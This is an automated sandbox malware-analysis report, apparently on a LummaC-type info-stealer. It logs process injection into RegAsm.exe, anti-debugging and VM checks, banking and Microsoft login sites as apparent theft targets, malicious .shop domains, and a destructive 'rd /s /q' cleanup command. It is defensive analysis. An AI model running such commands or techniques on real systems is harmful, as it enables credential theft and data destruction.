Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545063 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544820 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543147 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542700 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542512 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542053 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541883 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541697 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541073 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540443 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539400 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539180 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538961 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538266 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538066 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537502 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537150 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536176 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536003 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535383 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535210 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534815 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534640 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534199 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533617 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533464 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532983 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531806 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530856 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530718 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530537 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529964 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529623 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529296 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528919 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528358 Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: MFDBG.exe, 00000007.00000002.4540602166.0000000006564000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll F
Source: EHJKFC.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EHJKFC.3.dr Binary or memory string: discord.comVMware20,11696428655f
Source: EHJKFC.3.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: global block list test formVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2966040978.0000000000E15000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EHJKFC.3.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0\
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware1m
Source: EHJKFC.3.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: EHJKFC.3.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EHJKFC.3.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EHJKFC.3.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EHJKFC.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EHJKFC.3.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EHJKFC.3.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EHJKFC.3.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EHJKFC.3.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EHJKFC.3.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EHJKFC.3.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: EHJKFC.3.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: EHJKFC.3.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: EHJKFC.3.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: EHJKFC.3.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00445D10 LdrInitializeThunk, 15_2_00445D10
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_0041D95C
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h] 3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h] 3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418563 mov eax, dword ptr fs:[00000030h] 3_2_00418563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418562 mov eax, dword ptr fs:[00000030h] 3_2_00418562
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA, 3_2_0040884C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_0041D95C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004275FE SetUnhandledExceptionFilter, 3_2_004275FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041CFE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_0041CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6C0CB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C0CB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C27AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C27AC62
Source: C:\Users\user\Desktop\file.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\file.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_03292131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 0_2_03292131
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
LummaC encrypted strings found
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: reinforcenh.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: stogeneratmns.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: fragnantbui.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: drawzhotdog.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: vozmeatillu.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: offensivedzvju.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ghostreedmnu.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: gutterydhowi.shop
Searches for specific processes (likely to inject)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_0041257F
Writes to foreign memory regions
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B57008 Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\ProgramData\BFIIEHJDBK.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: AA4008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040111D cpuid 3_2_0040111D
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 3_2_0042B09C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA, 3_2_0042B191
